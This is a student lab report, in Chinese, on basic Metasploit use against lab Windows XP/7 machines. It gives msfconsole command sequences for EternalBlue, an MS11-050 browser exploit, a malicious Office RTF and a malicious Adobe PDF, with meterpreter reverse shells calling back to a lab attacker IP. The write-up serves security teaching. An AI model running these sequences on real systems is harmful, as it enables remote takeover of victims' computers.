2018-2019 20165232 Exp5 MSF基础应用
一.原理与实践说明
1.实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
一个主动攻击实践,如ms08-067; (1分)
一个针对浏览器的攻击,如ms11-050;(1分)
一个针对客户端的攻击,如Adobe;(1分)
成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
2.预备知识
一、MSF的六种模块
Exploit
模块
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
形象点来说就是攻击模块
Payload
模块
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
Encoder
模块
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
不改变payload作用,但能对payload进行加工
Aux
模块
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
Post
模块
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
这里主要指的是攻击之后可能用到的模块
Nops
模块
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
2.基础问题
**问:用自己的话解释什么是
exploit
,
payload
,
encode
。
exploit
:测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。
payload
:攻击者在目标系统上执行的一段攻击代码,该代码具有返弹连接,创建用户,执行其他系统命令的功能。
encode
:encode编码一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。
二.实践过程记录
1.Windows服务渗透攻击——ms17_010安全漏洞
①攻击机:kali
②靶机:windows XP
在攻击机kali输入
msfconsole
进入控制台,依次输入以下指令:
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_netapi) > show payloads
msf exploit(ms17_010_netapi) > set payload windows/x64/meterpreter/reverse_tcp //tcp反向回连
msf exploit(ms17_010_netapi) > set LHOST 192.168.11.128 //攻击机ip
msf exploit(ms17_010_netapi) > set LPORT 5232 //攻击端口
msf exploit(ms17_010_netapi) > set RHOST 192.168.11.133 //靶机ip,特定漏洞端口已经固定
msf exploit(ms17_010_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
msf exploit(ms17_010_netapi) > exploit //攻击
建立会话,攻击成功结果如下:
2.浏览器渗透攻击——MS11-050
①攻击机:kali
②靶机:WindowsXP Windows7
在攻击机kali输入
msfconsole
进入控制台,依次输入以下指令:
msf > use windows/browser/ms11_050_mshtml_cobjectelement
msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连
msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.11.128 //攻击机ip
msf exploit(ms11_050_cobjectelement) > set LPORT 5232 //攻击端口固定
msf exploit(ms11_050_cobjectelement) > set URIPATH 2016hyd //统一资源标识符路径设置
msf exploit(ms11_050_cobjectelement) > exploit
在浏览器输入http://192.168.11.128:8080/2016hyd
换成W7仍然不行,于是我手动降低安全级别——在IE浏览器打开“工具->Internet选项”,选择“安全”选项卡,将设置里面最不安全的全部选上,自定义也设置为最低等级
仍然不行
3.针对Office软件的渗透攻击——MS10-087
①攻击机:kali
②靶机:windowsXP
③Office版本:2003
在攻击机kali输入
msfconsole
进入控制台,依次输入以下指令:
msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec //运行一个可执行文件
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe //绑定计算器程序,进行启动
msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit //攻击
使用
show options
命令查看一些参数值,比如文件名、绑定程序等等。此时文件名为默认,也可以进行修改。
将生成的文件从/root/.msf4/local/msf.rft拷贝到靶机上,这里得在命令行移动文件,否则找不到。
使用Office2003打开。提示错误:
双击运行,由于绑定到计算器,因此打开了计算器程序,攻击成功:
4.针对Adobe Reader软件的渗透攻击——adobe_toolbutton
①攻击机:kali
②靶机:windowsXP
③Adobe版本:9.3
在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.11.128 //攻击机ip
msf exploit(adobe_cooltype_sing) > set LPORT 5232 //攻击端口
msf exploit(adobe_cooltype_sing) > set FILENAME 20155303-2.pdf //设置生成pdf文件的名字
msf exploit(adobe_cooltype_sing) > exploit //攻击
将生成的pdf文件拷贝到靶机上。
在kali上输入back退出当前模块,进入监听模块,输入以下命令:
msf > use exploit/multi/handler //进入监听模块
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
msf exploit(handler) > set LHOST 192.168.11.128 //攻击机ip
msf exploit(handler) > set LPORT 5232 //攻击端口固定
msf exploit(handler) > exploit
在靶机上打开20155303-2.pdf文件:
攻击机显示攻击成功:
此时若关闭pdf文件,则失去权限,攻击失败:
三、问题与思考
问题1:在进行ms08_067_netapi攻击时出现以下情况
- 解决办法:攻击方式太老,换一个攻击方式。